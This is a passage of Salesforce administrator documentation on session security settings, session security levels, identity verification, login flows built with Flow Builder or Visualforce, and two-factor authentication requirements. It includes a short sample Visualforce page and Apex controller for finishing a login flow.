<td>Protects against Cross Site Request Forgery (CSRF) attacks by modifying non-Setup pages. Non-Setup pages include a random string of characters in the URL parameters or as a hidden form field. With every GET and POST request, the application checks the validity of this string of characters. The application doesn’t execute the command unless the value found matches the expected value. This setting is selected by default for all orgs.</td>
</tr>
<tr>
<td>Enable CSRF protection on POST requests on non-setup pages</td>
<td></td>
</tr>
<tr>
<td>Enable Stricter Content Security Policy</td>
<td>The Lightning Component framework already uses Content Security Policy (CSP), the W3C standard to control the source of content that can be loaded on a page. The &quot;Enable Stricter Content Security Policy&quot; setting also prohibits the use of <code>unsafe-inline</code> for <code>script-src</code> to mitigate the risk of cross-site scripting attacks.</td>
</tr>
<tr>
<td>Lightning Locker API Version</td>
<td>Sets the API version for Lightning Locker compatibility for all Lightning components that don’t specify an API version. Lightning Locker enhances security with each version, so we recommend updating your custom components to comply with the latest. If you’re unable to update them right away, or require a managed package that’s incompatible with the latest, you can temporarily select an earlier, compatible API version.</td>
</tr>
<tr>
<td>Freeze JavaScript Prototypes</td>
<td>Prevents Lightning component authors from modifying JavaScript prototypes of global objects that are shared between namespaces. This restriction enables better code separation between components and prevents malicious or</td>
</tr>
<tr>
<td>Field</td>
<td>Description</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>inadvertent tampering of shared objects, such as the JavaScript APIs</td>
<td>Note: Cisco Webex Teams and Meetings features aren’t compatible with the Freeze JavaScript Prototypes setting. If you have one of these Webex features enabled, you can’t enable this setting.</td>
</tr>
<tr>
<td>XSS protection</td>
<td>Protects against reflected cross-site scripting attacks. If a reflected cross-site scripting attack is detected, the browser shows a blank page with no content.</td>
</tr>
<tr>
<td>Content Sniffing protection</td>
<td>Prevents the browser from inferring the MIME type from the document content. It also prevents the browser from executing malicious files (JavaScript, Stylesheet) as dynamic content.</td>
</tr>
<tr>
<td>Referrer URL Protection</td>
<td>When loading pages, the referrer header shows only Salesforce.com rather than the entire URL. This feature eliminates the potential for a referrer header to reveal sensitive information that could be present in a full URL, such as an org ID. This feature is supported only for Chrome and Firefox.</td>
</tr>
<tr>
<td>HSTS for Sites and Communities</td>
<td>Requires HTTPS on communities and Salesforce Sites.</td>
</tr>
<tr>
<td>Warn users before they are redirected outside of Salesforce</td>
<td>Displays a warning message when users click links that take them outside the salesforce.com domain. The warning message includes the full link to the external URL and the domain name. Use this feature to protect your users from malicious URLs and phishing. In Lightning Experience, the warning message applies only to web tabs.</td>
</tr>
<tr>
<td>Logout URL</td>
<td>Redirects users to a specific page after they log out of Salesforce, such as an authentication provider’s page or a custom-branded page. This URL is used only if no logout URL is specified in the identity provider, SAML single sign-on, or external authentication provider settings. If no value is specified for Logout URL, the default is <code>https://login.salesforce.com</code>, unless MyDomain is enabled. If My Domain is enabled, the default is <code>https://customdomain.my.salesforce.com</code>.</td>
</tr>
<tr>
<td>Link expires in</td>
<td>Specifies how long the account verification link in welcome emails to new users is valid. You can select 1, 7, or 180 days. By default, account verification links expire after 7 days. When you update this setting, the change applies to links in welcome emails that were already sent. For example, you added a user and sent a welcome email two days ago when links expired in seven days. If you update the setting so that links expire in one day, the link in the email you sent two days ago is no longer valid.</td>
</tr>
</tbody>
</table>
3. Click Save.

Session Security Levels

You can restrict access to certain types of resources based on the level of security associated with the authentication method for the user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the session security level and define policies so that specified resources are available only to users assigned a High Assurance level.

For sensitive operations, require a high-assurance level of security, or block users altogether. If users already have a high-assurance session after logging in, they aren’t prompted to reverify their identity in the same session, even if you require high assurance for these operations.

The following table lists the different authentication methods and their default session security levels.

<table>
<thead>
<tr>
<th>Type</th>
<th>Default Session Security Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username and Password</td>
<td>Standard</td>
<td>Users log in by providing a username and password on a login page.</td>
</tr>
<tr>
<td>Delegated Authentication</td>
<td>Standard</td>
<td>Users log in by providing a username and a password that is validated using a callout to a delegated authentication endpoint.</td>
</tr>
<tr>
<td>Activation</td>
<td>Standard</td>
<td>Users verify their identity when accessing Salesforce from a new browser or device.</td>
</tr>
<tr>
<td>Lightning Login</td>
<td>Standard</td>
<td>Internal users log in by using Salesforce Authenticator instead of a password.</td>
</tr>
<tr>
<td>Passwordless Login</td>
<td>Standard</td>
<td>External users of communities log in by providing a verification code instead of a password.</td>
</tr>
<tr>
<td>Two-Factor Authentication</td>
<td>High Assurance</td>
<td>Users complete a two-factor authentication challenge to access a resource. For example, a user must complete two-factor authentication when accessing a report that requires a High Assurance level with the Raise session level policy.</td>
</tr>
</tbody>
</table>

**Warning:** Be cautious about changing the security level of Two-Factor Authentication to Standard. If Two-Factor Authentication has a Standard level, but the user profile setting **Session security level required at login** requires a High Assurance session security level, the user can’t log in. User access is blocked when the high assurance requirement isn’t met.

| Authentication Provider      | Standard                       | Users log in to Salesforce using their login credentials from an external service provider. |
### Default Session Security Level

<table>
<thead>
<tr>
<th>Type</th>
<th>Default Session Security Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAML</td>
<td>Standard</td>
<td>Users are authenticated using the SAML protocol for single sign-on.</td>
</tr>
</tbody>
</table>

**Note:** The security level for a SAML session can also be specified using the `SessionLevel` attribute of the SAML assertion sent by the identity provider. The attribute can take one of two values, STANDARD or HIGH ASSURANCE.

To change the security level associated with a login method:

1. From Setup, enter *Session Settings* in the Quick Find box, then select *Session Settings*.
2. Under Session Security Levels, select the login method.
3. To move the method to the proper category, click the **Add** or **Remove** arrow.

Reports and dashboards in Salesforce and connected apps use session-level security. You can set policies requiring High Assurance on these types of resources. You can also specify an action to take when the session used to access the resource is not High Assurance. The supported actions are:

- **Block**—Blocks access to the resource by showing an insufficient privileges error.
- **Raise session level**—Prompts users to complete two-factor authentication. When users authenticate successfully, they can access the resource. For reports and dashboards, you can apply this action when users access reports or dashboards, or just when they export and print them.

**Warning:** Raising the session level to high assurance by redirecting the user to complete two-factor authentication is not a supported action in Lightning Experience. If your org enabled Lightning Experience, and you set a policy that requires a high-assurance session to access reports and dashboards, Lightning Experience users with a standard session are blocked from reports and dashboards. Also, they don’t see the icons for these resources in the navigation menu. As a workaround, users with a standard assurance session can log out and log in again using an authentication method that is defined as high assurance for their org. Then they have access to reports and dashboards. Or, they can switch to Salesforce Classic, where they’re prompted to raise the session level when they attempt to access reports and dashboards.

To set a High Assurance required policy for accessing a connected app:

1. From Setup, enter *Connected Apps* in the Quick Find box, then select the option for managing connected apps.
2. Click **Edit** next to the connected app.
3. Select **High Assurance session required**.
4. Select one of the actions presented.
5. Click **Save**.

To set a High Assurance required policy for accessing reports and dashboards:

1. From Setup, enter *Access Policies* in the Quick Find box, then select *Access Policies*.
2. Select **High Assurance session required**.
3. Select one of the actions presented.
4. Click **Save**.
Configure When Users Are Prompted to Verify Identity

You can control how and when users are prompted to verify their identity.

1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification.
2. Customize the identity verification settings, and then click Save.

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enable the SMS method of identity confirmation</td>
<td>Allows users to receive a one-time password delivered via SMS. If this setting is selected, administrators or users must verify their mobile phone number before taking advantage of this feature. This setting is selected by default for all orgs.</td>
</tr>
<tr>
<td>Require security tokens for API logins from callouts (API version 31.0 and earlier)</td>
<td>In API version 31.0 and earlier, requires the use of security tokens for API logins from callouts. Examples are Apex callouts or callouts using the AJAX proxy. In API version 32.0 and later, security tokens are required by default.</td>
</tr>
<tr>
<td>Let users use a physical security key (U2F)</td>
<td>Allows users to use a U2F security key for two-factor authentication and identity verification. Instead of using Salesforce Authenticator, one-time passwords generated by an authenticator app, or one-time passwords sent by email or SMS, users insert their registered U2F security key into a USB port to complete verification.</td>
</tr>
<tr>
<td>Let users authenticate with a certificate</td>
<td>Enable certificate-based authentication to use PEM-encoded X.509 digital certificates to authenticate individual users to your org.</td>
</tr>
<tr>
<td>Require identity verification during two-factor authentication (2FA) registration</td>
<td>Requires users to confirm their identities to add a two-factor authentication method, such as Salesforce Authenticator, instead of requiring a relogin as before.</td>
</tr>
<tr>
<td>Require identity verification for email address changes</td>
<td>Requires users to log in again and confirm their identity before their email address change takes effect. Users verify their identity using a registered verification method, such as Salesforce Authenticator, SMS text message, or email.</td>
</tr>
</tbody>
</table>
If the user’s verification method is email, the verification code is sent to the user’s previously registered email address rather than the new email address.

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Require email confirmations for email address changes (applies to external users in Lightning Communities)</td>
<td>Requires external users to confirm that they own the new email address. When users change their email address, they receive an email at the new email address with a link. After they click the link, their new email address takes effect. Email confirmations are enabled by default for orgs created in Winter ’20 and later. For orgs created before Winter ’20, Salesforce recommends that you enable this option as a security precaution. This option doesn’t apply to employees.</td>
</tr>
<tr>
<td>Allow automated location-based verifications with Salesforce Authenticator</td>
<td>When users are in a trusted location, such as their home or office, they can use the Salesforce Authenticator to automatically verify their identity. You can allow automated verifications from any location, or you can restrict them to only trusted IP addresses, such as your corporate network.</td>
</tr>
</tbody>
</table>

These identity verification settings are also available on the Session Settings page. You can change the settings in either location.

SEE ALSO:
- Modify Session Security Settings
- Require High-Assurance Session Security for Sensitive Operations

**Require High-Assurance Session Security for Sensitive Operations**

To secure different setup areas in your org, require a high-assurance level of security for sensitive operations, like accessing reports and managing IP addresses. You can also block users from accessing these setup areas.

These settings apply only to users who have user permissions to access these operations. If users have a high-assurance session after logging in, they aren’t prompted to verify their identity in the same session, even if you require high assurance for sensitive operations.

1. In Setup, enter *Identity* in the Quick Find box, and then click **Identity Verification**.
2. Under Session Security Level Policies, raise the session security level to high assurance, or block users.
   - Reports and Dashboards—Controls access to reports and dashboards. This setting is also available on the Reports and Dashboards Access Policies page. You can change this setting in either location.
   - Manage Encryption Keys—Controls access to the Platform Encryption page, the Certificate and Key Management Setup page, and the TenantSecret object.
   - Manage Auth. Providers—Controls access to the Auth. Providers page, the User Details Setup page, and the AuthProvider object.
   - Manage Certificates—Controls access to the Certificate and Key Management Setup page, Single Sign-On Settings Setup page, and the Certificate object.

**EDITIONS**

Available in: all editions

**USER PERMISSIONS**

To modify session security settings:
- Customize Application
- Manage Connected Apps—Controls access to the Connected Apps Setup pages and to creating Connected Apps through the App Manager Setup page.
- Manage Data Export—Controls access to the Data Export Setup page.
- Manage IP Addresses—Controls access to the Network Access Setup page.
- Manage Login Access Policies—Controls access to the Login Access Policies Setup page.
- Manage Password Policies—Controls access to the Password Policies Setup page and profile details.
- Manage Permission Sets and Profiles—Controls access to the Permission Sets and Profile Setup pages and related objects.
- Manage Roles—Controls access to the Roles Setup page, the UserRole object, and the Role object in Metadata API.
- Manage Sharing—Controls access to the Sharing Settings Setup page, the SharingRules object, and the CustomObject’s sharingModel field in Metadata API.
- Manage Two-Factor Authentication in API—Controls access to the VerificationHistory, TwoFactorInfo, and TwoFactorTempCode objects.
- Manage Two-Factor Authentication in User Interface—Controls access to the Identity Verification History Setup page and the VerificationHistory, TwoFactorInfo, and TwoFactorTempCode objects.
- Unlock Users and Reset Passwords—Controls permission to reset passwords and unlock users on the Users Setup page.
- View Event Log Files—Controls access to the EventLogFile object.
- View Health Check—Controls access to the Health Check Setup page.

Note: You can’t block users from accessing the setup areas controlled by the Manage Permission Sets and Profiles or Manage Users settings.

SEE ALSO:
- Configure When Users Are Prompted to Verify Identity
- Modify Session Security Settings

Create a Login Flow

A login flow directs users through a login process before they access your Salesforce org or community. You can use a login flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When users complete the login flow successfully, they are redirected to their Salesforce org or community. If unsuccessful, the flow can log out users immediately.

Before creating a login flow, it’s important to understand login flow execution:
- To invoke a login flow, the user must first be authenticated. Login flows don’t replace the existing Salesforce authentication process. They integrate new steps or ask the user for information.
- During login-flow execution, users have restricted access. Users in a login flow can access only the flow—they can’t bypass it to get to the application. They can log in to the org only when they successfully authenticate and complete the flow.

You can create two types of login flows:
- Screen flow, which you create declaratively in Flow Builder
- Visualforce Page, which you create programmatically using Visualforce
After creating the flow, you designate it as a login flow from Setup and choose which profiles apply. You can create multiple login flows and associate each one with a different user profile. Users assigned to one profile, like sales reps, experience a particular login process as they log in. Users assigned to a different profile like service reps, experience a different login process.

IN THIS SECTION:

Create a Login Flow with Flow Builder
Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of screens and connectors that step users through a business process when they log in.

Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control over how your login page looks, behaves, and where users go after they complete the flow. You can design your login page from scratch and control every pixel of the page.

Create a Login Flow with Flow Builder

Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of screens and connectors that step users through a business process when they log in.

Note: You can also use Visualforce to create a Visualforce Page login flow in code.

Modify the default login flow to meet your needs. You can customize the login page by:

- Supplying your own logo
- Changing the colors of the background and login button
- Displaying content on the right frame of the page

Follow these steps to build a login flow.

1. Create a screen flow.
   Note: Make sure that you save and activate the flow.

2. From Setup, designate the flow as a login flow, and associate the flow with user profiles. See Set Up a Login Flow and Connect to Profiles.

Create a Custom Login Flow with Visualforce

Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control over how your login page looks, behaves, and where users go after they complete the flow. You can design your login page from scratch and control every pixel of the page.

Define the business process in an Apex controller of the Visualforce page. Salesforce doesn’t pass input variables to a Visualforce Page login flow, but you have access to user and login context. You must include one of these Apex methods.

- Auth.SessionManagement.finishLoginFlow() indicates that the login flow is done and redirects the user to the home page
- Auth.SessionManagement.finishLoginFlow(startURL) indicates that the login flow is done and redirects the user to a specific page.

The login flow runs in a restricted session. Calling a finishLoginFlow method removes the session restriction and gives users access to Salesforce or their community. You decide when or under what condition to call the method to remove the session restriction.
Here’s an example of a Visualforce Page login flow. The user clicks a button to invoke the `finishLoginFlow` method. Specify `showHeader=false` for the login flow to work correctly.

```apex
<apex:page showHeader="false" controller="VFLoginFlowController">
    <h1>You are in VF Login Flow</h1>
    <apex:form >
        <apex:commandButton action="{!FinishLoginFlowHome}" value="Finish and Go to Home"/>
        <apex:commandButton action="{!FinishLoginFlowStartUrl}" value="Finish and Go to StartUrl"/>
    </apex:form>
</apex:page>
```

Here’s an example of an Apex controller that defines the business process.

```apex
public class VFLoginFlowController {

    public PageReference FinishLoginFlowStartUrl() {
        //do stuff
        //finish the login flow and send you to the startUrl (account page in this case)
        return Auth.SessionManagement.finishLoginFlow('/001');
    }

    public PageReference FinishLoginFlowHome() {
        //do stuff
        //finish the login flow and send you the default homepage
        return Auth.SessionManagement.finishLoginFlow();
    }
}
```

Give each profile that you want to associate with this Visualforce Page access.

1. From Setup, enter Visualforce in the Quick Find box, then select Visualforce Page.
2. Next to the Visualforce page that you want to use, click Security.
3. From the list of available profiles, add the profiles that you want to associate with this login flow.
4. From Setup, designate the Visualforce page as a login flow, and connect the profiles to it. See Set Up a Login Flow and Connect to Profiles.

**Set Up a Login Flow and Connect to Profiles**

After you create a flow using Flow Builder or Visualforce, you designate it as a login flow and then associate it with user profiles. When users with an associated profile log in, they're directed to the login flow.

**Note:** Don’t associate a login flow with your administrator profile until you are sure that the login flow works properly. Otherwise, if it fails, you can’t log in to your org.

1. From Setup, enter Login in the Quick Find box, then select Login Flows.
2. Click New.
3. On the Login Flow Edit page, enter a name for the login flow.
4. Select the type of flow you created. Choose **Flow** if you created the flow with Flow Builder. Choose **Visualforce Page** if you created the flow with Visualforce.

   **Note:** For Visualforce Page login flows, make sure that the profiles that you intend to associate with this login flow have access to the Visualforce Page.

5. From the dropdown list of available flows, choose which one to use for this login flow.

6. Select a user license for the profile that you want to connect to the login flow.

7. From the list of available profiles for this license, select the profile to associate with this login flow.

8. If you want the login flow to resemble the Lightning Experience UI, select **Render Flow in Lightning Runtime**. If you don’t select this option, the login flow resembles Salesforce Classic.

   **Note:** A login flow is independent of which UI users use: Lightning Experience or Salesforce Classic. You can set a login flow to resemble Lightning Experience even if users log in to Salesforce Classic. Likewise, you can set a login flow to resemble Salesforce Classic even if users log in to Lightning Experience.

9. Click **Save**.

   Repeat the process to associate other profiles with the login flow.

   After you connect the login flow, you can edit or delete it from the Login Flows Setup page.

**Login Flow Examples**

You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common uses cases include collecting and updating user data at login, configuring two-factor authentication, or integrating third-party strong authentication methods.

Let’s look at three common use cases for login flows.

- Collect and update user data during login
- Apply customized two-factor authentication (2FA)
- Integrate third-party strong authentication mechanisms

**Collect and Update User Data at Login**

This login flow collects and updates information about the user at login by requesting the user’s phone numbers.
1. Query the user object for the user’s phone numbers, if they exist.
2. Display the numbers, and ask the user to confirm or update them.
3. Update the user object with new numbers, if provided.

Create the Flow
1. Go to Flow Builder.
2. From the Manager tab in the toolbox, click New Resource and create a variable to store user’s ID.
   The login event passes a list of context attributes to the flow. When the flow starts, the corresponding attributes’ values are populated in the appropriate input variable. To use these attributes in the flow, define local text variables using the LoginFlow_ATTRIBUTE_NAME format. For example, LoginFlow_UserId, which you can use to verify the ID of the user logging in and query the associated user object.

![Variable Creation](image)

After you add each variable, it appears on the Manager tab.

The following input variables are supported.
- LoginFlow_LoginType
- LoginFlow_IpAddress
- LoginFlow_UserAgent
- LoginFlow_Platform
- LoginFlow_Application
- LoginFlow_Community
- LoginFlow_SessionLevel
- LoginFlow_UserId

You can also store these attributes as output variables in the flow.
• LoginFlow_FinishLocation (type Text)—This variable determines where to send the user when the flow completes.
• LoginFlow_ForceLogout (type Boolean)—When this variable is set to true, the user is immediately logged out.

3. On the Manager tab, click New Resource to create a record variable to store values from the user.

![Resource Creation Form](image)

4. Add a Get Records element to look up the user who’s trying to log in.

![Get Records Form](image)

5. Specify the user fields that you want to store in the variable, for example, Phone and MobilePhone.
6. Create a welcome screen to ask the user to confirm the phone numbers on file.

7. To set a default value for each Phone component in the screen, set Value to the appropriate field on the {!user} record variable. For Phone, that’s {!user.Phone}. For Mobile Phone, that’s {!user.mobilePhone}. To store what the user entered for each Phone component to use later in the flow, in the component’s Store Output Values section, set Value to the same field as in the previous step.
8. Add an Update Records element that uses the values in the {!user} record variable to update the user’s phone numbers. Since you stored each Phone screen component’s outputs in fields on the {!user} record variable, the flow uses those values to update the user.

9. Connect the elements together.

10. Name the login flow and save it.
11. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.

Note: Don’t associate a login flow with your administrator profile until you are sure that the login flow works properly. Otherwise, if it fails, you can’t log in to your org.

12. Log out, and then log in as the test user to test the flow.

When you test the Welcome Flow example, here’s how it looks using Lightning Experience.

Configure Two-Factor Authentication

This example implements a login flow that enhances time-based one-time password (TOTP) authentication with a two-factor authentication method that Salesforce supports. The TOTP algorithm computes a one-time password from a shared secret key and the current time.

The flow does the following.

- If the user is not yet registered, generates a new secret key, and prompts the user to register the key with a Quick Response (QR) code. After the user provides a valid TOTP token, the secret key is stored in the user record. The key is reused for future logins.
- If the user is already registered, prompts the user for only the TOTP token.

Users can use a time-based authentication application (such as Salesforce Authenticator or Google Authenticator) to scan the QR code and generate a TOTP token.
You can enhance this flow and customize the user experience by adding a corporate logo, colors, and so forth. You can even add and enforce different policies. For example, you can build an IP-based, two-factor authentication process that requires a second authentication factor only when the IP address is outside of a certain range.

This example uses the TwoFactorInfo object and the Auth.SessionManagement Apex class to customize and manage the standards-based TOTP two-factor authentication that Salesforce supports.

1. Look up the TwoFactorInfo object for the current user. If the user is not registered, generate a key.
2. Determine whether the user is already registered with TOTP.
3. If the user is already registered, prompt the user to provide the TOTP token.
4. If the user is not registered, prompt the user to register with a QR code and provide the TOTP token.
5. Validate the TOTP token. If the token is valid, the login flow finishes, and the user logs in.
6. If the TOTP token is invalid, send the user back to step 2.

**Configure the TOTP Flow**

1. Create the variables.
   - `secret`—Stores the secret key for all two-factor operations.
   - `qr_url`—Stores the URL for the QR code encoding of the secret key.
   - `IsTokenValid`—Stores the verification result.

   `secret` and `qr_url` are Text variables, and `IsTokenValid` is a Boolean variable.
2. To generate a new secret for users that are not already registered with a TOTP, drag a Apex Action (Legacy) element onto the canvas, and select the TOTPPlugin legacy Apex action.

Apex actions are Apex classes that extend the standard functionality of a flow. You can use an Apex action to do a complex calculation, make API calls to external services, and more.

TOTPPlugin accesses the Salesforce TOTP methods, generates a time-based secret key with a QR code, and validates the TOTP. The Apex class for TOTPPlugin is available in the login flow sample package.

The legacy Apex action has these input parameters.
- **OTP_INPUT**—The TOTP token that the user provides.
- **OTP_REGISTRATION_INPUT**—The TOTP token that the user provides when first registering.
- **SECRET_INPUT**—The secret key used to generate the TOTP.

It returns the following output values.
• **SECRET_OUTPUT**—A secret key generated by the plug-in.
• **QR_URL_OUTPUT**—A QR encoding of the secret key.
• **IsValid_OUTPUT**—If the validation succeeded, it returns `true`. Otherwise, it returns `false`.

Configure this instance of TOTPPlugin to generate a new secret key and QR code if the user is not already registered. In this case, no input is passed.

The secret key and URL for the QR code are stored in the `qr_url` and `secret` variables.

3. **Configure a Decision element to register a user.**

This decision verifies whether `secret` is null. If it is not null, the user must register, so define `Register` as an outcome of the decision. Otherwise, the user is already registered and must provide only the TOTP token. Change the label of the default outcome to `Get TOTP`. 
4. Configure the Get TOTP screen.

Users that are already registered are routed to this screen and asked for the TOTP token. Later in the flow, you can use the TOTP token that users enter by referencing the API name of the Text component (OTP_input).

5. Configure the Registration screen. Ask the user to scan the QR code, initialize the TOTP client application, and enter the TOTP token.
6. To validate the TOTP token that the user enters, configure another instance of the TOTPPlugin legacy Apex action. The TOTPPlugin legacy Apex action supports both of these use cases.

- The user comes from the Registration screen. The user has to scan the QR code and provide the TOTP token. Both the TOTP token and secret are passed to TOTPPlugin for validation. TOTPPlugin validates the TOTP token against the secret. If valid, the secret is registered on the user record and used for future logins.

- The user comes from the Get Token screen. The user is already registered, so provides only the TOTP. The TOTP token is passed via the `TokenInput` parameter to TOTPPlugin for validation.

The `isTokenValid` parameter returns the validation status, which is then stored in the `isTokenValid` flow variable.
7. Determine whether to log in the user by configuring another Decision element with two possible outcomes.
   - If $IsTokenValid$ is true, the token is valid.
   - Otherwise, the token is invalid.

If the validation succeeds, the user proceeds to the end of the flow, clicks to the next step, and logs in to the application. If the validation fails, the flow redirects the user back to step 2 in the flow. In step 2, a registered user is asked to provide a new TOTP token. If the user isn’t yet registered, the user is asked to register and provide a new TOTP token.

8. Connect the elements together. When you connect the “Registration” decision to the “Registration” screen, choose the “Register” outcome. When you connect the “Registration” decision to the “Get TOTP” screen, choose the “Get TOTP” outcome. When you connect the “Login” decision to the “Registration” decision, choose the “Token is invalid” outcome.

9. Save the login flow, activate it, and connect it with a user profile.

Integrate Third-Party Strong Authentication Methods

You can use login flows to interact with external third-party authentication services by using an API.

For example, Yubico offers strong authentication using a hardware token called a YubiKey. Yubico also provides an example Apex library and login flow on GitHub. The library supplies Apex classes for validating YubiKey OTPs (one-time passwords). The classes allow Salesforce users to use a YubiKey as a second authentication factor at login. For more information, see yubikey-salesforce-client.

You can also implement a third-party SMS or voice delivery service, like Twilio or TeleSign, to implement a SMS-based two-factor authentication and identity verification flow. For more information, see Deploy Third-Party SMS-Based Two-Factor Authentication.

Login Flow Samples Package

The Login Flow Samples Package is an unmanaged package that installs different login flow samples into your Salesforce org. It contains the following examples.

- Email Confirmation—Send email with a verification code
- SF-TOTP—Enable TOTP two-factor authentication
- Conditional Two-Factor—Skip two-factor authentication for users who come from a trusted IP address
- Identity Confirmation—Confirm the user identity using email or two-factor authentication
Set Up Two-Factor Authentication

Two-factor authentication is the most effective way to protect your org’s user accounts. When two-factor authentication is enabled, users are required to log in with two pieces of information, such as a username and a one-time password (OTP). Admins enable two-factor authentication through permissions or profile settings. Users register for two-factor authentication through their own personal settings. They can use an OTP generator app, such as Salesforce Authenticator or Google Authenticator. Or they can use hardware devices, such as U2F security keys.

You can customize two-factor authentication in the following ways.

- **Require it for every login.** Set the two-factor login requirement for every time the user logs in to Salesforce. You can also enable this feature for API logins, which includes the use of client applications like the Data Loader. For more information, see Set Two-Factor Authentication Login Requirements or Set Two-Factor Authentication Login Requirements for API Access.

- **Use “stepped up” authentication** (also known as “high assurance” authentication). Sometimes you don’t need two-factor authentication for every user’s login, but you want to secure certain resources. If the user tries to use a connected app or reports, Salesforce prompts the user to verify identity. For more information, see Session Security Levels.

- **Use profile policies and session settings.** First, in the user profile, set **Session security level required at login** to **High Assurance**. Then set session security levels in your org’s session settings to apply the policy for particular login methods. In your org’s session settings, review the session security levels to make sure that Two-Factor Authentication is in the High Assurance column. For more information, see Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and Communities.

  **Warning:** If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level security.

Only authentication flows that include a user approval step support using API logins with the High Assurance session security level. These flows are the OAuth 2.0 refresh token flow, web server flow, and user-agent flow. All other flows, such as the JSON Web Token (JWT) bearer token flow, don’t include a user approval step. For flows without a user approval step, API logins with the High Assurance session security level are blocked.

It’s possible that users are prompted to verify their identity with two-factor authentication twice during the OAuth approval flow. The first challenge is on the UI session. The second challenge happens when the access token is bridged into the UI. This second challenge is triggered because the High Assurance session security level isn’t transferred to the access token.

- **Use login flows.** Use Flow Builder and profiles to build post-authentication requirements as the user logs in, including custom two-factor authentication processes. For more information, see the following examples.
  - Login Flow Examples
  - Deploy Third-Party SMS-Based Two-Factor Authentication
  - Enhancing Security with Two-Factor Authentication (Salesforce Classic)
IN THIS SECTION:

**Set Two-Factor Authentication Login Requirements**

As a Salesforce admin, you can require your users to use a second factor of authentication when they log in.

**Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and Communities**

Set two-factor authentication login requirements for users with profile policies and session settings. You can apply two-factor authentication requirements to all Salesforce user interface authentication methods. These methods include username and password, delegated authentication, SAML single sign-on, and social sign-on through a third-party authentication provider. You can also apply the two-factor authentication requirement to users in Salesforce orgs and Communities.

**Set Two-Factor Authentication Login Requirements for API Access**

Salesforce admins can set the Two-Factor Authentication for API Logins permission to use a second authentication challenge for API access to Salesforce. API access includes the use of applications like the Data Loader and developer tools for customizing an organization or building client applications.

**Connect Salesforce Authenticator (Version 3 or Later) to Your Account for Identity Verification**

The Salesforce Authenticator app on your mobile device is the second factor of authentication. Use the app to add an extra level of security to your account.

**Verify Your Identity with a One-Time Password Generator App or Device**

Connect a one-time password generator app, such as Salesforce Authenticator or Google Authenticator, to verify your identity. The app generates a verification code, sometimes called a "time-based one-time password".

**Disconnect Salesforce Authenticator (Versions 2 and 3) from a User’s Account**

Only one Salesforce Authenticator (version 2 or later) mobile app can be connected to a user's account at a time. If your user loses access to the app by replacing or losing the mobile device, disconnect the app from the user’s account. As long as the user (or assigned profile) still has the two-factor permission enabled, and no other authenticator method is connected to their account, Salesforce prompts the user to connect a new authenticator method the next time they log in.

**Disconnect a User’s One-Time Password Generator App**

Besides Salesforce Authenticator, one other mobile authenticator app that generates verification codes (one-time passwords) can be connected to a user's account at a time. If your user loses access to the app by replacing or losing the mobile device, disconnect the app from your user’s account. The next time your user logs in with two-factor authentication, if no other identity verification method is connected, Salesforce prompts the user to connect a new authenticator app.

**Generate a Temporary Identity Verification Code**

Generate a temporary verification code for users who can’t access the device they usually use for two-factor authentication. You set when the code expires, from 1 to 24 hours after you generate it. The code can be used multiple times until it expires.

**Expire a Temporary Verification Code**

Expire a user’s temporary verification code when the user no longer needs it for two-factor authentication

**Delegate Two-Factor Authentication Management Tasks**

Let users who aren’t Salesforce admins provide support for two-factor authentication in your org. For example, suppose you want your company’s Help Desk staff to generate temporary verification codes for users who lost or forgot the device they usually use for two-factor authentication. Assign Help Desk staff members the "Manage Two-Factor Authentication in User Interface" permission so that they can generate codes and support end users with other two-factor authentication tasks.

SEE ALSO:

Two-Factor Authentication
Set Two-Factor Authentication Login Requirements

As a Salesforce admin, you can require your users to use a second factor of authentication when they log in.

You can require two-factor authentication each time a user logs in with a username and password to Salesforce, including orgs with custom domains created using My Domain. To set the requirement, select the Two-Factor Authentication for User Interface Logins permission in the user profile (for cloned profiles only) or permission set.

See how to set up a two-factor authentication requirement for your org and how your users can use the Salesforce Authenticator app. Set Up a Two-Factor Authentication Requirement for Your Org

Users with the Two-Factor Authentication for User Interface Logins permission must provide a second factor, such as a mobile authenticator app or U2F security key, when they log in to Salesforce.

You can also use a profile-based policy to set a two-factor authentication requirement for users assigned to a particular profile. Use the profile policy when you want to require two-factor authentication for users of the following authentication methods:

- SAML for single sign-on
- Social sign-on in to Salesforce orgs or Communities
- Username and password authentication into Communities

All Salesforce authentication methods are supported, including username and password, delegated authentication, SAML single sign-on, and social sign-on through an authentication provider. To enable two-factor authentication, in the user profile, set Session security level required at login to High Assurance. Then set session security levels in your org’s session settings to apply the policy for particular login methods. Also in your org’s session settings, review the session security levels to make sure that Two-Factor Authentication is in the High Assurance column.

⚠️ Warning: If Two-Factor Authentication is in the Standard column, users get an error when they log in with a method that grants standard-level security.

Users might be prompted to verify their identity with two-factor authentication twice during the OAuth approval flow. The first challenge is on the UI session. The second challenge happens when the access token is bridged into the UI. The High Assurance session security level can’t be transferred to the access token.
Set Two-Factor Authentication Login Requirements and Custom Policies for Single Sign-On, Social Sign-On, and Communities

Set two-factor authentication login requirements for users with profile policies and session settings. You can apply two-factor authentication requirements to all Salesforce user interface authentication methods. These methods include username and password, delegated authentication, SAML single sign-on, and social sign-on through a third-party authentication provider. You can also apply the two-factor authentication requirement to users in Salesforce orgs and Communities.

